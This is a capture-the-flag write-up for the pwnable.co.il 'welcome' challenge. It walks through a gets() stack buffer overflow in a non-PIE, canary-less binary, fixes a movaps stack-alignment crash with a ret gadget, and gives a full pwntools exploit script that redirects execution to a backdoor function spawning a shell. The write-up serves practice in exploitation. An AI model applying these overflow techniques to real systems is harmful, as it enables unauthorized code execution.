pwnable.co.il - welcome
Challenge description:
Welcome to Pwnable.co.il! I hope you’ll like this one…
Protections:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Let’s start by extracting the ELF file from the zip and analyzing it with the Hex-Rays decompiler:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char name[32]; // [rsp+0h] [rbp-20h] BYREF
init_buffering(argc, argv, envp);
puts("Welcome to pwnable.co.il!");
puts("What is your name?");
gets(name);
printf("Thank you %s!\n", name);
return 1;
}
We can easily see the vuln, the program uses the function gets(),
this gives us a buffer overflow (a.k.a BOF) primitive, so we can overwrite stack data beyond the name buffer, including the saved return address of the function itself.
According to to the protections, the program also lacks a stack canary and is not PIE,
so overwriting the return address with gadgets or functions from the program and even building a ROP chain is a good approach.
Functions symbols list:
From the static symbol list we found an interesting function called secret_backdoor, so let’s examine it.
This function is acttually a win() function, when called it invokes system("/bin/sh") which spawns a shell immediately.
That makes calling secret_backdoor a straightforward path to code execution, so lets try it!
Initial attempt
To overwrite the saved return address we fill the name buffer and the saved RBP, The offset from the start of name to the return address is 32 (the length of name buffer) + 8 (saved RBP) = 40 bytes.
So send 40 bytes of padding followed by the address of secret_backdoor.
Example script
from pwn import *
exe = ELF('./welcome')
p = process('./welcome')
payload = cyclic(40) # 32 (name) + 8 (saved RBP)
payload += p64(exe.sym.secret_backdoor)
p.sendline(payload)
p.interactive()
oooops… we got an EOF while reading in interactive error, which means the program exited (or crashed) before p.interactive() could hand us a shell…
lets debug by replacing process() with gdb.debug() (or attach gdb to the process) so we can see whats happening when our payload runs.
Now the problem is clear! The do_system path inside system() uses movaps opcode, which requires 16-byte aligned memory operands. If the stack isn’t 16-byte aligned when system() runs, that instruction faults and the program dies (hence the EOF / crash..).
The easiest fix here is to place a single ret gadget before calling secret_backdoor(), that ret realigns the stack to 16-bytes so system() won’t fault.
Exploit
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF(args.EXE or './welcome')
### config ###
host = args.HOST or 'pwnable.co.il'
port = int(args.PORT or 9000)
### defines ###
PADDING = 40
### gadgets ###
ret = 0x000000000040076c
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
# -- Exploit goes here --
def main():
### run ###
io = start()
### payload ###
payload = cyclic(PADDING) # reach the return address.
payload += p64(ret) # realign the stack so movaps opcode won't fail.
payload += p64(exe.sym.secret_backdoor) # call win function.
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()


